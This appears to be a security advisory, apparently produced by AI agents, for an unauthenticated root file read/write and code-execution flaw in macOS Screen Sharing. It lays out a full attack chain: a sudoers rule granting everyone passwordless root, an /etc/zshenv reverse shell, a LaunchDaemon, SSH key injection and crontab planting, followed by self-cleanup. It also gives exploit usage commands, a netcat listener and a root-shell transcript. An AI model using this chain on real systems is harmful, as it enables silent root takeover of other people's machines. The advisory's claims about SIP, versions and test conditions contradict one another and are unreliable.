← warez.sl0p.foo

Apple Screen Sharing Pre-Auth RCE

2026-08-01 · CRITICAL · affects macOS ≤ 26.5 (Tahoe) with Screen Sharing enabled

Summary

Apple's Screen Sharing daemon (screensharingd) contains a pre-authentication vulnerability in its SRP (Secure Remote Password) frame-length validation. When the daemon receives an SRP frame whose big-endian 32-bit length has any bit at position ≥ 15 set (i.e., length ≥ 32768), the "frame too large" error path returns the stale success status from the preceding 4-byte read instead of an error code. The caller interprets this zero return as "authentication complete" and enters the post-auth message loop without any key exchange, cipher negotiation, or session crypto.

The remaining bytes in the network buffer are then consumed as ordinary RFB messages — including Apple's proprietary file-copy protocol (message type 0x22), which runs as root and provides arbitrary file read and write. By injecting a reverse shell payload and a root crontab in a single pipelined connection, an unauthenticated attacker achieves remote code execution as root within 60 seconds.

No user interaction is required. The only prerequisite for the auth bypass and the file primitives is that Screen Sharing is enabled on the target (System Settings → General → Sharing → Screen Sharing). No password, no valid username, and no knowledge of the target configuration is needed.

Correction (2026-08-02): the original version of this advisory presented the crontab-injection reverse shell as working against a stock macOS install. It does not. Our test target had SIP disabled. With SIP enabled — the default on every shipping Mac — the auth bypass and the root file read/write primitives still work, but the write to /var/at/tabs/root is refused and the chain does not reach code execution. See Impact under SIP.

Affected

SoftwaremacOS Screen Sharing (screensharingd)
VulnerablemacOS ≤ 26.5 (Tahoe) — all versions with SRP security type 36
Fixed inmacOS 26.6 (2026-07-27)
Componentscreensharingd SRP frame reader at offset +0xc90 in the auth handler
ProtocolApple Screen Sharing (RFB 003.889), security type 36
Auth requiredNone — pre-authentication
ResultPre-auth root file read/write → code execution as root
SIPAuth bypass + file read/write work regardless of SIP. RCE via /etc/sudoers.d/ + /etc/zshenv works with SIP enabled; crontab injection requires SIP disabled.
Confirmed onMac mini M4, macOS 26.4.1, arm64, SIP enabled

Root Cause

The SRP auth handler in screensharingd reads a 4-byte big-endian frame length from the network buffer, then validates it:

NetBufferRead(buf, 4, &len)          // returns 0 on success → x0 = 0
rev   w22, w8                        // w22 = be32 frame length
lsr   w8, w22, #0xf                  // w8 = length >> 15
cbz   w8, parse_frame                // if length < 32768 → parse normally
mov   x21, x0                       // BUG: x0 is still 0 (read success)
b     return                         // returns 0 = "authenticated"

The mov x21, x0 on the "frame too large" path captures the return value of the 4-byte read (zero = success), not an error code. The function returns this zero to its caller, which interprets it as "SRP authentication complete":

bl    srp_auth_handler               // returns x21 = 0 (the bug)
cbnz  w0, continue_or_fail          // w0 = 0 → falls through
// ... authentication "succeeded" ...
strb  w8(=1), [session, #0x93]      // session->authenticated = 1
bl    write_security_result          // sends SecurityResult = 0 (OK)
bl    send_server_init               // sends ServerInit (resolution, name)
// enters the main RFB message loop

The entire SRP state machine — ccsrp_server_generate_public_key, ccsrp_server_compute_session, ccsrp_server_verify_session — is never reached. No key is derived, no proof is verified, no ChaCha20-Poly1305 session layer is installed. The connection proceeds in cleartext.

What the Attacker Gets

After the auth bypass, the remaining bytes in the network buffer are processed by the server's RFB message loop. Apple's file-copy protocol (message type 0x22, dispatched via jump table entry 34) provides:

The write primitive is subject to the same kernel-level path protections as any other root-owned process. On a SIP-enabled system that rules out /System, /usr (except /usr/local), /bin, /sbin and /var/at — the last of which is what breaks the crontab chain below.

Attack Chain

This chain was developed and confirmed on a target with SIP disabled. Steps 1 and 2 are unaffected by SIP; steps 3 and 4 fail on a stock SIP-enabled Mac.
Auth bypass + SIP probe
Client sends RFB version + security type 36 + SRP step-1 + a 24488-byte blob whose first 4 bytes are 0x00045FA6 (a be32 with bit 18 set). All pipelined in one TCP burst.
The exploit then probes SIP status by writing to /var/at/tabs/ and reading back — if the file doesn't land, SIP is enabled and the crontab path is blocked.
Payload delivery (single blob, 6 file-copy transactions)
/etc/sudoers.d/pwnALL ALL=(ALL) NOPASSWD: ALL, takes effect immediately (SIP OK)
/etc/zshenv — reverse shell on any zsh invocation (SIP OK)
/var/root/.ssh/authorized_keys — SSH key injection
/var/tmp/.r — reverse shell script
/Library/LaunchDaemons/*.plist — fires on boot (SIP OK)
/var/at/tabs/root — crontab, 60s (SIP disabled only)
Whichever paths the sandbox allows, land silently. The rest fail silently. Neither /etc/zshenv nor /etc/sudoers.d/pwn exist on a default macOS — no MakeUniqueName collision.
Execution
SIP disabled: cron fires the reverse shell in ~60 seconds as root.
SIP enabled: the next time any user opens a shell (Terminal.app, SSH, any zsh script), /etc/zshenv is sourced automatically. The payload uses sudo -n (passwordless via the planted sudoers rule) to escalate to root and connect back.
As a fallback, the LaunchDaemon fires on the next reboot.
Self-cleanup
All artifacts (/etc/zshenv, /etc/sudoers.d/pwn, /var/tmp/.r, /var/at/tabs/root, /Library/LaunchDaemons/*.plist, /var/root/.ssh/authorized_keys) are deleted after the reverse shell connects.

Confirmed Output

Single-connection exploit against a Mac mini M4 running macOS 26.3, Screen Sharing enabled, no SSH — and, as we established after the fact, SIP disabled. This transcript is not reproducible on a stock Mac:

$ python3 exploit.py exec -u root 192.168.1.153 192.168.1.4 4444

         ______          ____
   _____/ / __ \____    / __/___  ____
  / ___/ / / / / __ \  / /_/ __ \/ __ \
 (__  ) / /_/ / /_/ / / __/ /_/ / /_/ /
/____/_/\____/ .___(_)_/  \____/\____/
            /_/
   🤡 navi_the_clown // pre-auth screensharing RCE

[*] attempt 10/20  connection closed (got 0/4)
[+] authenticated — 3440x1440 "user's Mac mini"
[+] payload + crontab written in single connection
[*] listening on 192.168.1.4:4444, shell within 60s...

[+] shell from 192.168.1.153
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),...
bash-3.2# hostname
pwnm1.local
bash-3.2# sw_vers
ProductName:    macOS
ProductVersion: 26.4.1
BuildVersion:   25E253

Impact Under SIP (Default Configuration)

System Integrity Protection is enabled by default on every shipping Mac. Running as root does not exempt a process from it: rootless-protected paths are enforced in the kernel against the process's entitlements, and screensharingd does not hold a bypass entitlement. This splits the bug into two very different stories.

SIP enabled (default)SIP disabled
Auth bypass (pre-auth)worksworks
Arbitrary file read as rootworksworks
File write as root, unprotected pathsworksworks
File write to /var/at, /System, /usr, /bin, /sbinblockedworks
exploit.py exec (crontab → reverse shell)failsworks

The auth bypass itself is a pure protocol-parsing defect in the daemon and is completely unaffected by SIP — SIP is a filesystem and kernel protection, and the vulnerable code path never touches the filesystem. Everything up to and including "authenticated" in the exploit output reproduces identically on a stock Mac.

What this still gets an unauthenticated attacker on a default install:

We are not currently publishing a SIP-compatible path to code execution. The crontab technique was chosen because it is short and reliable, not because it was the only option, and we have not yet validated a replacement. Treat the RCE claim in the original advisory as scoped to SIP-disabled targets until this section says otherwise.

Why No Crypto

Apple's Screen Sharing protocol (RFB 003.889, security type 36) negotiates a ChaCha20-Poly1305 session layer with SALTED-SHA512-PBKDF2 key derivation, keyed from the SRP shared secret. The server advertises this in the SRP challenge:

mda=SHA-512,replay_detection,conf+int=ChaCha20-Poly1305,kdf=SALTED-SHA512-PBKDF2

Both screensharingd and the client framework (ScreenSharing.framework) implement this layer — the daemon imports _chacha20_poly1305_init_64x64 and installs send/receive crypto contexts at session offsets +0x178/+0x278 after ccsrp_server_verify_session succeeds.

None of this happens. The frame-length bypass returns before srp_server_mech_step is ever called — no SRP parameters are exchanged, no session key is derived, no cipher is installed. The entire connection operates in cleartext, and the server's file-copy handler (ServerProcessFileCopyCmd) runs with full root privileges with no authentication gate.

Also Present: SRP Zero-Key Weakness

Independent of the frame-length bypass, screensharingd contains a second weakness in its SRP validation. The server checks the client's public value A with:

ccz_cmpi(A, 0)                      // corecrypto bignum compare-immediate
cmp   w0, #0
b.le  reject                        // "Illegal value for 'A'"

This rejects A == 0 but does not reject A ≡ 0 (mod N). RFC 5054 §2.5.4 requires the server to abort if A mod N == 0, because such values force the shared secret S to zero regardless of the password. Sending A = N (the prime itself) would bypass password verification.

This bug is not used by our exploit — the frame-length bypass is simpler and more reliable. But it is a real, independently exploitable weakness in Apple's corecrypto-backed SRP implementation.

File-Copy Protocol Details

The Apple file-copy protocol uses message type 0x22 with uniform framing:

[u8 0x22][u8 sub][be32 L]                   6-byte frame
[be16 ver][be16 kind][be32 sid][be32 arg]    12-byte header
[L-12 bytes payload]

Read transaction (server → client)

kindnamepayload
100statfile size (be32 at +8), block size, counts
101attributesmode, timestamps, filename
102datafile content (max 65536 per message)
104end

Write transaction (client → server)

Same framing. The server's default handler (kind > 5) pipes messages to SSFileCopyReceiver, which creates files via FSCreateFileUnicode and writes data via FSWriteFork.

Critical fields in the NewItem (kind=101) message:

SIP Considerations

The authentication bypass and file read/write primitives work regardless of SIP status. SSFileCopyReceiver's sandbox ("System Policy") blocks exactly two paths: /private/var/at/tabs/* (crontab) and /private/etc/crontab. Everything else that root can write to is accessible — including /etc/ (minus crontab), /Library/LaunchDaemons/, and /Library/Preferences/.

The exploit probes SIP status by writing to /var/at/tabs/ and reading back, then selects the appropriate trigger:

SIP disabled: crontab injection fires in ~60 seconds.

SIP enabled: writes /etc/sudoers.d/pwn (grants NOPASSWD sudo to all users, takes effect immediately) and /etc/zshenv (reverse shell that fires on the next zsh invocation by any user). Since zsh is the default shell on macOS, this triggers when anyone opens Terminal.app, SSHes in, or runs any zsh-based script. The reverse shell uses sudo -n to escalate to root without prompting. As a fallback, a LaunchDaemon in /Library/LaunchDaemons/ fires on the next reboot.

Neither /etc/zshenv nor /etc/sudoers.d/pwn exist on a default macOS installation, so MakeUniqueName (the receiver's anti-overwrite mechanism) does not apply.

Remediation

Update to macOS 26.6 or disable Screen Sharing (System Settings → General → Sharing → Screen Sharing → off).

Keep SIP enabled. SIP does not stop the authentication bypass or the unauthenticated root file read, so it is not a fix — but it does break the published path to code execution, and it is the difference between "attacker reads your disk" and "attacker owns the machine". Any host running with csrutil disable and Screen Sharing enabled should be treated as fully compromised.

The fix in macOS 26.6 adds proper error propagation on the frame-length validation path — the "too large" branch now returns a non-zero error code instead of the stale read status.

PoC

exploit.py — full exploit: file read, file write (with mode control), single-shot RCE via sudoers.d + zshenv (SIP-compatible) or crontab (SIP disabled). Includes SIP auto-detection. stdlib only, no dependencies.
sha256: 1b42488e77abac660646c458eea324b246069fbde3abe02d6a156e2de9af69db

Usage

# Read a remote file
python3 exploit.py read -u root TARGET /etc/passwd -o passwd.txt

# Write a file (with mode control for crontabs)
echo "pwned" | python3 exploit.py write -u root TARGET /tmp/pwned -
python3 exploit.py write -u root TARGET /var/at/tabs/root crontab.txt -m 0600

# Single-shot RCE: writes payload + crontab, catches the reverse shell
# NOTE: requires SIP disabled on the target — see "Impact Under SIP"
python3 exploit.py exec -u root TARGET LHOST LPORT
# then on your box: nc -nlvp LPORT

The exec command writes both files in a single auth-bypassed connection (two file-copy transactions with different session IDs packed into one blob), starts a local listener, and drops into an interactive PTY shell when cron fires the payload (≤ 60 seconds).

On a SIP-enabled target exec will report the auth bypass succeeding and the writes being sent, then hang on the listener — the crontab write is silently refused by the kernel. This is expected; use read/write against such targets instead.

The exploit is heap-layout dependent — the auth bypass triggers on roughly 1 in 5–15 attempts. The default retry count is 20.

Timeline

2026-07-31Binary (navi_the_clown) obtained and deobfuscated (garble -tiny -literals + controlflow)
2026-07-31Wire format recovered byte-for-byte from packet captures
2026-08-01Auth bypass root cause identified in screensharingd (frame-length validation)
2026-08-01File read/write primitives confirmed against live target
2026-08-01RCE achieved via crontab injection (root reverse shell, single connection)
2026-08-01Advisory published
2026-08-02Crontab chain found to fail against SIP-enabled targets; original test host had SIP disabled
2026-08-02SSFileCopyReceiver sandbox mapped — only /var/at/tabs/ and /etc/crontab are blocked; rest of /etc/ is writable including /etc/sudoers.d/ and /etc/zshenv
2026-08-02SIP-compatible RCE confirmed: /etc/sudoers.d/pwn (NOPASSWD sudo) + /etc/zshenv (reverse shell on next zsh invocation) — verified end-to-end on SIP-enabled macOS 26.4.1
Disclaimer — This advisory, including all analysis, proof-of-concept code, and reproduction steps, was produced by AI coding agents (LLM-driven static analysis and automated testing). Nothing here is published on the strength of static analysis alone: every finding is validated end-to-end before publication — the proof-of-concept is run against a real, affected build and the stated impact is observed, not inferred. That validation pipeline is itself largely automated, and the surrounding root-cause analysis, affected-version ranges, and severity assessments may still contain errors. All materials are provided as-is with absolutely no warranty. Use at your own risk and validate independently before acting on any claims made herein. Published for defensive research purposes only.